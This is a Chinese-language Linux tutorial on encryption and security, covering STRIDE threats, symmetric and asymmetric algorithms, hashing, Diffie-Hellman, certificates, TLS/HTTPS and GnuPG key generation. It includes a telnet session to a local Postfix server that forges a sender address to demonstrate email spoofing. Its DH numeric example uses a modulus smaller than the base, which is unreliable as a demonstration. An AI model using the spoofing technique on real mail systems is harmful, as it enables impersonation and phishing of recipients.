Linux: 加密和安全

内容概述

安全机制

墨菲定律

墨菲定律:一种心理学效应,是由爱德华·墨菲(Edward A. Murphy)提出的, 原话:如果有两种或两种以上的方式去做某件事情,而其中一种选择方式将导致灾难,则必定有人会做出这种选择

主要内容:

  • 任何事都没有表面看起来那么简单
  • 所有的事都会比你预计的时间长
  • 会出错的事总会出错
  • 如果你担心某种情况发生,那么它就更有可能发生

信息安全防护的目标

  • 保密性 Confidentiality 确保通信信息不被任何无关的人看到;
  • 完整性 Integrity 数据完整性不被篡改;系统完整性
  • 可用性 Usability 通信任何一方产生的信息应当对授权实体可用;
  • 可控制性 Controlability
  • 不可否认性 Non-repudiation

安全防护环节

  • 物理安全:各种设备/主机、机房环境
  • 系统安全:主机或设备的操作系统
  • 应用安全:各种网络服务、应用程序
  • 网络安全:对网络访问的控制、防火墙规则
  • 数据安全:信息的备份与恢复、加密解密
  • 管理安全:各种保障性的规范、流程、方法

常见的安全攻击STRIDE

  • Spoofing 假冒
  • Tampering 篡改
  • Repudiation 否认 如 ARP欺骗
  • Information Disclosure 信息泄漏
  • Denial of Service 拒绝服务
  • Elevation of Privilege 提升权限

范例:邮件冒充

#邮件服务器
# exchange (微软)
# Linux: postfix

# telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 centos7.localdomain ESMTP Postfix
hello a.com #打招呼
502 5.5.2 Error: command not recognized
mail from: [email protected] #发件人
250 2.1.0 Ok
rcpt to: jasper # 收件人
250 2.1.5 Ok
data # 邮件内容
354 End data with <CR><LF>.<CR><LF>
subject: I am mayun #标题
welcome to alibaba  #内容
how are you
. #点做为邮件结束
250 2.0.0 Ok: queued as 2E1E91C87F725
quit #断开连接
221 2.0.0 Bye
Connection closed by foreign host.


#另一端
su - jasper
mail
>N 1 [email protected]  "I am mayun"
& 1 # 查看邮件编号

安全设计基本原则

  • 使用成熟的安全系统
  • 以小人之心度输入数据。如SQL注入
  • 外部系统是不安全的
  • 最小授权
  • 减少外部接口
  • 缺省使用安全模式
  • 安全不是似是而非
  • 从STRIDE思考
  • 在入口处检查
  • 从管理上保护好你的系统

常用安全技术

3A

  • 认证:验证身份
  • 授权:指定某个人的权限
  • 审计:事后跟踪,操作是否合规
  • 安全通信:主机之间跨网络的通信

加密算法和协议

  • 对称加密
  • 非对称(公钥)加密
  • 单向加密
  • 认证协议

对称加密算法

image-20210120153703478.webp

对称加密:加密和解密使用同一个密钥

明文 data -- 加密(key1) --> 密文-- 解密(key2) --> 明文 data

对称算法: key1 = key2
非对称算法: key1 != key2

特性:

  • 加密、解密使用同一个密钥,效率高。
    • 加密肯定是牺牲效率的,但加密和解密速度足够快,效率的影响是可以接受的。为了安全总有点代价。
  • 将原始数据分割成固定大小的块,逐个进行加密
    • 比如切成 56 位的小块,每个小块单独加密。

缺陷:

  • 密钥过多
  • 密钥分发
    • 有没有一个安全的隧道用来传输密钥?如果有这个安全隧道还要加密干什么?正因为没有安全的隧道所以需要加密,死循环!
      • 传输数据前,两边人先碰个头面对面把密钥商量好,商量好再传输数据。
  • 数据来源无法确认
    • a 把数据传给对方了并解密了,b 怎么能确认数据是 a 发的?有一定的安全风险,无法实现数据来源的确认。

常见对称加密算法:

  • DES:Data Encryption Standard 即数据加密标准,56 bits (目前已经谈不上安全性算法了)

    1976年被美国联邦政府的国家标准局确定为联邦资料处理标准(FIPS),随后在国际上广泛流传开来。

    算法的入口参数有三个:Key、Data、Mode。

    • Key为7个字节共56位,是DES算法的工作密钥;
    • Data为8个字节64位,是要被加密或被解密的数据;
    • Mode为DES的工作方式,有两种:加密或解密
  • 3DES:Triple DES : DES 的增强版,比 DES 多 3 个数量级
  • AES:Advanced Data Encryption Standard 高级加密标准 (128, 192, 256bits)

    3DES 虽然现在是安全的,但随着计算机硬件的更新,总有一天要被攻破;AES 算法欲取待 3DES 算法,他支持 128,192 和 256 位密钥长度,有效的密钥长度可 达上千位。更重要的是,AES算法采用了更为高效的编写方法,对CPU的占用率 较少;目前广泛使用。

  • 商业版:Blowfish,twofish,IDEA,RC6,CAST5 等等…

比如 wifi 加密用的 AES 加密

image-20210302073004893.webp

不管是 AES 加密算法还是其他对称加密算法也好,都有一些安全的缺陷,只要是对称加密算法这些缺陷是无法解决的。

通过非对称加密算法解决这些缺陷。

非对称加密算法

非对称加密算法介绍

非对称加密:密钥是成对出现

非对称算法: key1 != key2,通信双方都有两个 key,
  公钥(public key)和私钥(private key,secret key)
  • 公钥:public key,公开给所有人,主要给别人加密使用
  • 私钥:secret key,private key 自己留存,必须保证其私密性,用于自已加密签名
  • 特点:
    • 用公钥加密数据,只能使用与之配对的私钥解密;
    • 反之亦然。用私钥加密数据,只能使用与之配对的公钥解密;

功能:

  • 数据加密:适合加密较小数据,比如: 加密对称密钥
  • 数字签名:主要在于让接收方确认发送方身份

缺点:

  • 密钥长,算法复杂
  • 加密解密效率低下

常见算法:

  • RSA:由 RSA公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文 件块的长度也是可变的,可实现加密和数字签名

    # ssh 非对称加密
    
    root@master01:~# ssh-keygen help
    usage: ssh-keygen [-q] [-a rounds] [-b bits] [-C comment] [-f output_keyfile]
                      [-m format] [-N new_passphrase] [-O option]
                      [-t ecdsa | ecdsa-sk | ed25519 | ed25519-sk | rsa]
    # linux 默认 rsa    
    root@master01:~# ls .ssh/
    authorized_keys  id_rsa  id_rsa.pub  known_hosts
    # mac ed25519
    jasper@jasperdeMacBook-Air ~ % ls .ssh
    agent           config          id_ed25519      id_ed25519.pub  known_hosts
    
  • DSA(Digital Signature Algorithm):只做数字签名,是一种标准的DSS(数字签名标准)
  • ECC(Elliptic Curves Cryptography):椭圆曲线密码编码学,比 RSA 加密算 法使用更小的密钥,提供相当的或更高等级的安全

就算法本身的实现来讲,公钥加密技术比对称加密技术的速度慢上差不多3个数 量级,一个数量级就是10倍,所以3个数量级不是30倍,而是1000倍。因此,在 加密数据时是很少用到公钥去加密的

# 因为已知非对称加密算法的特性:
# - 特点:用公钥加密数据,只能使用与之配对的私钥解密;反之亦然。

# 安全通信
Alice 明文 data -- 加密(key1) --> 密文-- 解密(key2) --> Bob 明文 data
key1 是 Alice 用 Bob 的公钥加密
key2 是 Bob 用自己的私钥解密

# 数据来源身份的确认
Alice 明文 data -- 加密(key1) --> 密文-- 解密(key2) --> Bob 明文 data
key1 是 Alice 用自己的私钥加密
key2 是 Bob 用 Alice 的公钥解密

非对称加密算法一般不会直接加密数据的。因为解密过程耗时长。
DES: 1G 数据,使用对称加密算法 DES, 加密 4m,解密 8m
RSA: 1G 数据,使用非对称加密算法 RSA, 加密 1m,解密 64hour

非对称加密实现加密

image-20210120153751008.webp

接收者

  • 生成公钥/密钥对:P 和 S
  • 公开公钥P,保密密钥S

发送者

  • 使用接收者的公钥来加密消息M
  • 将 P(M) 发送给接收者

接收者

  • 使用密钥 S 来解密:M=S(P(M))

非对称加密实现数字签名

image-20210120153809695.webp

发送者

  • 生成公钥/密钥对:P 和 S
  • 公开公钥 P,保密私钥 S
  • 使用密钥 S 来加密消息 M
  • 发送给接收者 S(M)

接收者

  • 使用发送者的公钥来解密M=P(S(M))

RSA和DSA (了解)

RSA:公钥加密算法是1977年由Ron Rivest、Adi Shamirh和LenAdleman在(美国 麻省理工学院)开发的,RSA取名来自开发他们三者的名字,后成立RSA数据安全 有限公司。RSA是目前最有影响力的公钥加密算法,它能够抵抗到目前为止已知 的所有密码攻击,已被ISO推荐为公钥数据加密标准。RSA算法基于一个十分简单 的数论事实:将两个大素数相乘十分容易,但那时想要对其乘积进行因式分解却 极其困难,因此可以将乘积公开作为加密密钥

DSA (Digital Signature Algorithm):1991年7月26日提交,并归属于David W. Kravitz前NSA员工,DSA是Schnorr和ElGamal签名算法的变种,被美国NIST作为 SS(DigitalSignature Standard),DSA是基于整数有限域离散对数难题的,其安 全性与RSA相比差不多。DSA只是一种算法,和RSA不同之处在于它不能用作加密 和解密,也不能进行密钥交换,只用于签名,它比RSA要快很多

对称加密和非对称加密算法小结
  • 非对称加密算法:只适合加密小数据,而且能实现数据加密和数据来源的确认。
  • 对称加密算法:适合加密大量数据,不能实现数据来源的确认,只能实现数据加密。

单向哈希算法

哈希算法:也称为散列算法,将任意数据缩小成固定大小的“指纹”,称为digest,即摘要

特性:

  • 任意长度输入,固定长度输出
  • 若修改数据,指纹也会改变,且有雪崩效应,数据的一点微小改变,生成的指纹值变化非常大。
  • 无法从指纹中重新生成数据,即不要逆,具有单向性

功能:数据完整性

常见算法 md5: 128bits、sha1: 160bits、sha224 、sha256、sha384、sha512

常用工具

  • md5sum | sha1sum [ –check ] file
  • openssl、gpg
  • rpm -V
# 随便找一个文件,使用 sha256sum 查看指纹信息。和公网的文件比较是否一样。
root@master01:~# echo 111 > a.c
root@master01:~# sha256sum a.c > /tmp/s.txt
root@master01:~# cat /tmp/s.txt
1fc917c7ad66487470e466c0ad40ddd45b9f7730a4b43e1b2542627f0596bbdc  a.c

# 校验文件
root@master01:~# sha256sum -c /tmp/s.txt
a.c: OK
root@master01:~# echo 222 > a.c
root@master01:~# sha256sum -c /tmp/s.txt
a.c: FAILED
sha256sum: WARNING: 1 computed checksum did NOT match
root@master01:~# echo 111 > a.c
root@master01:~# sha256sum -c /tmp/s.txt
a.c: OK

数字签名

image-20210120153936904.webp

RPM 文件完整性

rpm --verify package_name (or -V)
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat*
rpm --checksig pakage_file_name (or-K)

综合应用多种加密算法

实现数据加密

实现数据加密,无法验证数据完整性和来源

image-20210303023818589.webp
image-20210120154029857.webp
实现数字签名

不加密数据,可以保证数据来源的可靠性、数据的完整性和一致性

image-20210120154059975.webp
综合加密和签名

即实现数据加密,又可以保证数据来源的可靠性、数据的完整性和一致性

方法1:Pb{Sa[hash(data)]+data} 成本高,一般不用

  • 缺点:当前数据比较大时,用公钥加密后,私钥解密密文非常耗时。
image-20210120154128669.webp

方法2:对称key{Sa[hash(data)]+data}+Pb(对称key)

  • 对称加密、非对称加密、哈希算法都用上了。
    • A:源数据做 hash 计算,做出摘要(hash 值)
    • A:用 A 的私钥对摘要做数字签名
    • A:对数字签名和数据做对称加密
    • A:使用 B 的 公钥加密码对称密钥
    • B:拿到数据,用 B 的私钥解密被加密的对称密钥
    • B:拿到对称密钥,用对称密钥解密加密的数据,分离出数据和签名
    • B:用 A 的公钥解密签名,确认 A 的身份同时拿到 A 计算的 hash 值
    • B:自己对数据计算一遍 hash 值,对比 A 计算的 hash 值,相等则数据完整。
image-20210120154155432.webp
data-ssl.webp

密码交换 DH

密钥交换:IKE( Internet Key Exchange )

  • 公钥加密:用目标的公钥加密对称密钥。实现对称密钥的变更交换。
  • DH (Deffie-Hellman):生成对称(会话)密钥,由惠特菲尔德·迪菲(Bailey Whitfield Diffie)和马丁·赫尔曼(Martin Edward Hellman)在1976年发表

    参看:https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange

DH 实现过程:

A: g,p 协商生成公开的整数g, 大素数p
B: g,p
A:生成隐私数据(私钥):a (a<p),计算得出公钥 g^a%p,发送给B
B:生成隐私数据(私钥):b,(b<p),计算得出公钥 g^b%p,发送给A
A:计算得出 [(g^b%p)^a] %p = g^ab%p,生成为密钥
B:计算得出 [(g^a%p)^b] %p = g^ab%p,生成为密钥
用这个密钥加密数据通信。

范例:

# 双方协商生成整数 g 和 质数 p
g=23
p=5

#A: 私钥为 6,公钥  g^a%p = 23^6%5 = 4
a=6
23^6%5=4
2^6%5=4

#B: 私钥为 15,公钥 g^a%p = 2^15%5 = 2
b=15
23^15%5=2

#生成对称密钥:
##B 用 (A的公钥^B的私钥) % p = [(g^a%p)^b] %p = 4 ^ 15 % 5 = 4
##A 用 (B的公钥^A的私钥) % p = [(g^b%p)^a] %p = 2 ^ 6 % 5 = 4
4^15%5
[root@centos8 ~]#echo 23^15%5|bc
2
[root@centos8 ~]#echo 23^6%5|bc
4
[root@centos8 ~]#echo 2^6%5|bc
4
[root@centos8 ~]#echo 4^15%5|bc
4

CA 和证书

中间人攻击

Man-in-the-middle,简称为 MITM,中间人

image-20210120154225691.webp

CA 和证书

image-20210120154454189.webp
image-20210120154716488.webp

电脑上默认安装了很多要根ca的证书

  • 控制面板–internet选项–内容–证书,可以看到根CA,中间证书机构(子CA)
image-20210304073450321.webp

PKI:Public Key Infrastructure 公共密钥加密体系

  1. 签证机构:CA(Certificate Authority)

    用户在注册机构注册证书,CA就会签发用户的公钥认证,并且和申请者的信息绑定在一起并且签名后,以证书形式发给申请者,然后在本地的证书存取库备份。(可以理解成现实社会的公安部)

  2. 注册机构:RA

    一般用户都是在这里注册证书(可以理解成现实社会的派出所)

  3. 证书吊销列表:CRL

    如果用户私钥丢失,必须要申请吊销证书,否则可能会被别人冒名顶替。

  4. 证书存取库:CB,公共存储证书位置

    所有发出的证书都会在这里存一份,如果丢失证书可以在这里得到,如果丢失私钥那么只能申请证书撤销

X.509:定义了证书的结构以及认证协议标准

  • 版本号:标识证书的版本
  • 序列号:标识证书的唯一证书,类似于身份证
  • 签名算法ID:证书的算法标识
  • 颁发者:证书颁发这的可识别名
  • 有效期限:证书有效的时间段
  • 主体名称:证书拥有着的可识别名
  • 主体公钥:关键部分
  • 发行者的唯一标识:证书颁发者的唯一标识符
  • 主体的唯一标识:证书拥有者的唯一标识符
  • 扩展信息
  • 发行者的签名:证书颁发者对证书的签名,上述整个内容做单向加密,得到的 特征码用自己私钥加密,并附加到后面,用来生产发行者的签名;

证书类型:

  • 证书授权机构的证书
  • 服务器证书
  • 用户证书

获取证书两种方法:

  • 自签名的证书: 自已签发自己的公钥
  • 使用证书授权机构:
    • 生成证书请求(csr)
    • 将证书请求csr发送给CA
    • CA签名颁发证书

安全协议 SSL/TLS

TLS 介绍

SSL:Secure Socket Layer,TLS: Transport Layer Security

  • 1994年,NetScape公司设计了SSL协议(Secure Sockets Layer)的1.0版,但 是未发布。用以保障在Internet上数据传输之安全,利用数据加密技术,可确 保数据在网络上之传输过程中不会被截取及窃听。
  • 1995:SSL 2.0 Netscape 开发
  • 1996:SSL 3.0
  • 1999:TLS 1.0
  • 2006:TLS 1.1 IETF(Internet工程任务组) RFC 4346,从2020年3月起,停止 支持 TLS 1.1 及 TLS 1.0 版本安全协议,谷歌(Chrome)、Mozilla(Firefox)、 微软(IE和Edge)、苹果(Safari) 都会发布新版浏览器执行这个策略
  • 2008:TLS 1.2 当前主要使用
  • 2018:TLS 1.3

功能:

  • 机密性
  • 认证
  • 完整性
  • 重放保护
SSL/TLS组成
ssl.webp
image-20210120154851499.webp
  • Handshake协议:包括协商安全参数和密码套件、服务器身份认证(客户端身份认证可选)、密钥交换
  • ChangeCipherSpec 协议:一条消息表明握手协议已经完成
  • Alert协议:对握手协议中一些异常的错误提醒,分为fatal和warning两个级 别,fatal类型错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继 续,只是会给出错误警告
  • Record 协议:包括对消息的分段、压缩、消息认证和完整性保护、加密等
TLS实现过程

实现分为握手阶段和应用阶段

  • 握手阶段(协商阶段):客户端和服务器端认证对方身份(依赖于PKI体系,利用 数字证书进行身份认证),并协商通信中使用的安全参数、密码套件以及主密 钥。后续通信使用的所有密钥都是通过 MasterSecret 生成
  • 应用阶段:在握手阶段完成后进入,在应用阶段通信双方使用握手阶段协商好 的密钥进行安全通信

目前密钥交换 + 签名有三种主流选择:

  • RSA 密钥交换、RSA 数字签名
  • ECDHE 密钥交换、RSA 数字签名
  • ECDHE 密钥交换、ECDSA 数字签名

实现方式1 (了解)

RSA 密钥交换、RSA 数字签名

image-20210120154924933.webp
  1. Visitor给出协议版本号、一个客户端随机数(Client random),以及客户 端支持的加密方法
  2. Server确认双方使用的加密方法,以及一个服务器生成的随机数(Server random)
  3. Server发送数字证书给Visitor
  4. Visitor确认数字证书有效(查看证书状态且查询证书吊销列表),并使用信 任的CA的公钥解密数字证书获得Server的公钥,然后生成一个新的46字节随 机数(称为预备主密钥Pre-master secret),并使用Server的公钥加密预备 主密钥发给Server
  5. Server使用自己的私钥,解密Visitor发来的预备主密钥
  6. Visitor和Server双方都具有了(客户端随机数+服务端随机数+预备主密钥), 它们两者都根据约定的加密方法,使用这三个随机数生成对称密钥–主 密钥(也称为对话密钥session key),用来加密后续的对话过程
  7. 在双方验证完 session key 的有效性之后,SSL握手机制就算结束了。之后 所有的数据只需要使用“对话密钥”(此密钥并不是的session key,而是由 其通过计算得到)加密即可,不再需要多余的加密机制

注意:

  1. 在SSL握手机制中,需要三个随机数(客户端随机数+服务端随机数+预备主密钥)
  2. 至始至终客户端和服务端只有一次非对称加密动作-–—客户端使用证书中 获得的服务端公钥加密预备主密钥。
  3. 上述SSL握手机制的前提单向验证,无需验证客户端,如果需要验证客户端则 可能需要客户端的证书或客户端提供签名等。
  4. Server和Visitor通信,Server把数字证书发给Visitor,最关键的一点是 Visitor要保证证书的有效性,通过查看证书状态并去CA的吊销列表查看 Server的证书是否被吊销。只有Server的证书可用了,才保证了第一环节的 安全性
  5. RSA 密钥交换有一个很大的问题:没有前向安全性Forward Secrecy。这意味 着攻击者可以把监听到的加密流量先存起来,后续一旦拿到了私钥,之前所 有流量都可以成功解密

实现方式2

目前大部分 HTTPS 流量用的都是 ECDHE 密钥交换。ECDHE是使用椭圆曲线(ECC) 的 DH(DiffieHellman)算法

image-20210120155014829.webp

前图中的 Server DH Parameter是用证书私钥签名的,客户端使用证书公钥就可 以验证服务端合法性。相比 RSA密钥交换,DH 由传递 Premaster Scret 变成了 传递 DH算法所需的Parameter,然后双方各自算出 Premaster Secret

对于这种情况,由于 Premaster Secret 无需交换,中间人就算有私钥也无法获 得Premaster Secret 和Master Secret。当然,使用 ECDHE后,虽然中间人拿到 私钥也无法解密之前的流量,但可以实施MITM攻击来解密之后的流量,所以私钥 还是要保管好。

相比 RSA 既可以用于密钥交换,又可以用于数字签名;ECC 这边就分得比较清 楚了:ECDHE 用于密钥交换,ECDSA 用于数字签名

浏览器f12–安全选项可看到密钥交换 + 签名的方式

image-20210120155041380.webp

HTTPS

HTTPS 协议:就是“HTTP 协议”和“SSL/TLS 协议”的组合。HTTP over SSL 或 HTTP over TLS ,对http协议的文本数据进行加密处理后,成为二进制形式 传输

HTTPS 工作的简化过程
image-20210120155123597.webp
  1. 客户端发起HTTPS请求

    用户在浏览器里输入一个https网址,然后连接到服务器的443端口

  2. 服务端的配置

    采用HTTPS协议的服务器必须要有一套数字证书,可以自己制作,也可以向组 织申请。区别就是自己颁发的证书需要客户端验证通过,才可以继续访问, 而使用受信任的公司申请的证书则不会弹出提示页面。这套证书其实就是一 对公钥和私钥

  3. 传送服务器的证书给客户端

    证书里其实就是公钥,并且还包含了很多信息,如证书的颁发机构,过期时 间等等

  4. 客户端解析验证服务器证书

    这部分工作是有客户端的TLS来完成的,首先会验证公钥是否有效,比如:颁 发机构,过期时间等等,如果发现异常,则会弹出一个警告框,提示证书存 在问题。如果证书没有问题,那么就生成一个随机值。然后用证书中公钥对 该随机值进行非对称加密

  5. 客户端将加密信息传送服务器

    这部分传送的是用证书加密后的随机值,目的就是让服务端得到这个随机值, 以后客户端和服务端的通信就可以通过这个随机值来进行加密解密了

  6. 服务端解密信息

    服务端将客户端发送过来的加密信息用服务器私钥解密后,得到了客户端传 过来的随机值

  7. 服务器加密信息并发送信息

    服务器将数据利用随机值进行对称加密,再发送给客户端

  8. 客户端接收并解密信息

    客户端用之前生成的随机值解密服务段传过来的数据,于是获取了解密后的 内容

gpg 实现对称和非对称加密

参考:

Pretty Good Privacy (PGP) 是一款诞生于 1991 年的,一款用于认证、加密的一款软件,现如今已经有了标准化协议 OpenPGP,最常用的实现是 GnuPG,一般提到 GPG 时都是指的 GnuPG。

Ubuntu 26.04 里 gpg 是 GnuPG 2.x(gpg2 只是指向 gpg 的兼容软链,GnuPG 1.x 已不再默认安装)。先确认版本:

# mac 安装
brew install gnupg
# ubuntu
apt install gnupg
# centos
yum install gnupg

gpg --version        # 看 GnuPG 版本和支持的算法
gpgconf --list-dirs  # 看各类目录(homedir、socketdir 等)

# 查看版本
root@master01:~# gpg --version
gpg (GnuPG) 2.4.8
libgcrypt 1.12.0
Copyright (C) 2025 g10 Code GmbH
License GNU GPL-3.0-or-later <https://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Home: /root/.gnupg
Supported algorithms:
Pubkey: RSA, ELG, DSA, ECDH, ECDSA, EDDSA
Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256
Hash: SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIP2

# gpgconf --list-dirs  # 看各类目录(homedir、socketdir 等)
root@master01:~# gpgconf --list-dirs
sysconfdir:/etc/gnupg
bindir:/usr/bin
libexecdir:/usr/lib/gnupg
libdir:/usr/lib/aarch64-linux-gnu/gnupg
datadir:/usr/share/gnupg
localedir:/usr/share/locale
socketdir:/run/user/0/gnupg
dirmngr-socket:/run/user/0/gnupg/S.dirmngr
keyboxd-socket:/run/user/0/gnupg/S.keyboxd
agent-ssh-socket:/run/user/0/gnupg/S.gpg-agent.ssh
agent-extra-socket:/run/user/0/gnupg/S.gpg-agent.extra
agent-browser-socket:/run/user/0/gnupg/S.gpg-agent.browser
agent-socket:/run/user/0/gnupg/S.gpg-agent
homedir:/root/.gnupg

主目录与配置文件

目录结构

~/.gnupg/
├── pubring.kbx            # 公钥环(keybox 格式,不再是 pubring.gpg)
├── trustdb.gpg            # 信任数据库
├── private-keys-v1.d/     # 私钥,每把一个文件,文件名就是 keygrip。使用 gpg --list-secret-keys --with-keygrip 查看
├── openpgp-revocs.d       # 自动生成的吊销证书
├── gpg.conf               # gpg 本身的配置
└── gpg-agent.conf         # agent 配置(pinentry、缓存时长)

要点:

  • 没有 secring.gpg 了。私钥全部交给 gpg-agent ,gpg 通过 socket 跟它通信。
  • 备份私钥不要直接拷 private-keys-v1.d/ ,用 --export-secret-keys 导出。
  • 目录权限必须是 700,文件 600,否则 gpg 会拒绝或告警: chmod 700 ~/.gnupg 。
  • 在 SSH/无 TTY 环境下要先 export GPG_TTY=$(tty) ,否则 pinentry 弹不出来。把这行写进 ~/.bashrc 。

GnuPG 套件将密钥环和私钥存储在 GnuPG 主目录,并从中读取配置。默认路径 为 ~/.gnupg 。有两种方法可以改变主目录的路径:

  • 设置 $GNUPGHOME 环境变量。
  • 使用 --homedir 参数,如 $ gpg --homedir /path/to/dir 。

GnuPG 的所有行为都可以通过命令行参数进行配置。对于您希望成为默认参数的 参数,可以将它们添加到相应的配置文件中:

  • gpg 命令会检查 gnupg_home/gpg.conf (用户)和 /etc/gnupg/gpg.conf (全 局)。由于 gpg 是 GnuPG 的主要入口点,因此大部分感兴趣的配置都在这里。 请参阅 GPG 选项 获取可能的选项。
  • dirmngr 命令会检查 gnupg_home/dirmngr.conf 和 /etc/gnupg/dirmngr.conf 两个配置文件,没有则自动创建。dirmngr是由 gpg 内部调用的程 序,用于访问 PGP 密钥服务器。请参阅 Dirmngr 选项 以了解可能的选项。

密码输入

  • gpg-agent 这个进程记住密码,这样只需在系统第一次使用时输入即可
# 1. 修改 agent 的配置文件
cat ~/.gnupg/gpg-agent.conf
allow-emacs-pinentry
allow-loopback-pinentry

# 之后重新加载即可
gpgconf --reload gpg-agent

参数说明

# 通用/全局参数
--homedir DIR                    # 指定配置目录,替代 ~/.gnupg,做隔离测试很有用
-o, --output FILE                # 输出到文件,不写则到 stdout
-a, --armor                      # 输出 ASCII 装甲文本(-----BEGIN PGP...),便于邮件/粘贴
                                 #   不加则是二进制
-r, --recipient ID               # 指定收件人(加密用),可多次出现
-u, --local-user ID              # 指定用哪个私钥来签名
--batch                          # 非交互模式,脚本里必须加
--yes                            # 所有确认自动回答 yes(配合 --batch)
--pinentry-mode loopback         # 让 gpg 自己收密码而不是弹 pinentry
                                 #   配合 --passphrase 用于脚本
--passphrase-fd 0                # 从 stdin 读口令
--passphrase-file FILE           # 从文件读口令,比 --passphrase 安全(后者会进 ps)
-v / -vv                         # 增加输出详细程度
-q, --quiet                      # 静默
--status-fd 1                    # 输出机器可解析的状态行
                                 #   脚本判断成功失败用这个,别 grep 人类可读文本
--no-default-keyring             # 只用指定钥匙串,不碰用户默认的
--keyring FILE                   #   (两者配合使用)

# 密钥管理
--full-generate-key              # 交互式生成密钥,可选算法、长度、有效期(推荐)
--quick-generate-key 'Name <mail>' ALGO USAGE EXPIRE
                                 # 一条命令生成,适合脚本
--gen-key                        # 简化版生成,选项少

-k, --list-keys                  # 列公钥
-K, --list-secret-keys           # 列私钥
--keyid-format long              # 显示长 keyid
--with-subkey-fingerprint        # 显示子钥指纹
--fingerprint                    # 显示指纹

--edit-key ID                    # 进入交互式编辑(改有效期、加子钥、签名、设信任)
--quick-set-expire ID EXPIRE     # 非交互改有效期
--quick-add-uid                  # 增加身份
--quick-revoke-uid               # 吊销身份

--delete-keys ID                 # 删除公钥
--delete-secret-keys ID          # 删除私钥
--delete-secret-and-public-key ID  # 全删

--export                         # 导出公钥
--export-secret-keys             # 导出私钥
--export-secret-subkeys          # 仅导出子钥私钥(主钥离线方案用)
--import                         # 导入
--import-options import-show     # 导入前先看看内容
--gen-revoke ID                  # 生成吊销证书(生成密钥后【立刻】做一份存好)
--export-ownertrust              # 导出信任度
--import-ownertrust              # 导入信任度,迁移时别忘了

--keyserver hkps://keys.openpgp.org   # 指定密钥服务器
--send-keys ID                   # 上传
--recv-keys ID                   # 拉取
--search-keys STR                # 搜索
--refresh-keys                   # 刷新本地所有公钥(吊销状态、新子钥)

# 加密/解密
-e, --encrypt                    # 公钥加密,需配 -r
-c, --symmetric                  # 对称加密,只用口令,不需要密钥对
-d, --decrypt                    # 解密
--cipher-algo AES256             # 指定对称算法
--digest-algo SHA512             # 指定摘要算法
--compress-algo none             # 关闭压缩(加密已压缩文件时省时间)
-z 0                             #   同上,简写
--hidden-recipient ID            # 隐藏收件人 keyid(抗元数据分析)
--throw-keyids                   # 隐藏所有收件人
--trust-model always             # 不检查信任链就加密,脚本常用
                                 #   否则会问“这个 key 没验证,确定吗”


# 签名/验签
-s, --sign                       # 签名并压缩打包成二进制 .gpg
--clear-sign                     # 明文签名,原文可读,签名附在下面(适合邮件、公告)
-b, --detach-sign                # 分离签名,生成独立的 .sig/.asc(发布软件包最常用)
--verify SIG [FILE]              # 验证签名
--verify-files                   # 批量验证
-se -r ID                        # 同时签名 + 加密

生成密钥对

目标:在 hostB 主机上用 A 的公钥加密,在 hostA 主机上解密 B —> A

# 交互式
gpg --full-generate-key

# 1 版本为 gpg --gen-key

范例:在hostA主机上生成公钥/私钥对

# 生成密钥对
root@master01:~# gpg --full-generate-key
gpg (GnuPG) 2.4.8; Copyright (C) 2025 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

gpg: directory '/root/.gnupg' created
gpg: keybox '/root/.gnupg/pubring.kbx' created
Please select what kind of key you want:
   (1) RSA and RSA
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (9) ECC (sign and encrypt) *default*
  (10) ECC (sign only)
  (14) Existing key from card
Your selection? # 类型默认 ECC (sign and encrypt)
Please select which elliptic curve you want:
   (1) Curve 25519 *default*
   (4) NIST P-384
   (6) Brainpool P-256
Your selection? # 曲线默认 Curve 25519
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 2y # 0 为永不过期,这 2 年
Key expires at Sun Sep 17 10:37:30 2028 CST
Is this correct? (y/N) y # 确认

GnuPG needs to construct a user ID to identify your key.

Real name: Jasper Hsu  # 名字 user id
Email address: [email protected] # 邮箱
Comment: This is my gpg
You selected this USER-ID:
    "Jasper Hsu (This is my gpg) <[email protected]>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o # 确认,弹窗中输入密码
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: directory '/root/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/root/.gnupg/openpgp-revocs.d/DA49CFF481CB7E6767119D72C8BC794E8D2FDECA.rev'
public and secret key created and signed.

pub   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49CFF481CB7E6767119D72C8BC794E8D2FDECA
uid                      Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519 2026-09-18 [E] [expires: 2028-09-17]

root@master01:~# tree .gnupg/
.gnupg/
├── openpgp-revocs.d
│   └── DA49CFF481CB7E6767119D72C8BC794E8D2FDECA.rev
├── private-keys-v1.d # 私钥,每个私钥一个文件,由 gpg-agent 管理
│   ├── CA707BE2F021CD97E174E98B49D587B0615CF063.key
│   └── D010F193E9BC5E687345FF682C11050E7897925D.key
├── pubring.kbx  # 公钥环
├── pubring.kbx~
└── trustdb.gpg  # 信任数据库

3 directories, 6 files


#GnuPG 1.4.x 经典版本
[root@node01 ~]$ gpg --gen-key
Your selection?1<Enter>                       ##默认即可
What keysize do you want? (2048) 2048<Enter>  ##密钥长度,有时可能因为随机数不够导致卡在那里,这时候你就yum 安装几个包组,马上就够了
